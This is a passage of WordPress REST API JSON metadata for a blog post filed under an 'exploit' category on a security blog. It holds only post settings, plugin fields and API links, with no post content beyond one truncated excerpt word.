recursive&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","_seopress_analysis_target_kw":"","_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[43],"tags":[],"class_list":["post-16834","post","type-post","status-publish","format-standard","hentry","category-exploit"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-4nw","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/16834","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=16834"}],"version-history":[{"count":1,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/16834\/revisions"}],"predecessor-version":[{"id":16836,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/16834\/revisions\/16836"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=16834"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=16834"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=16834"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}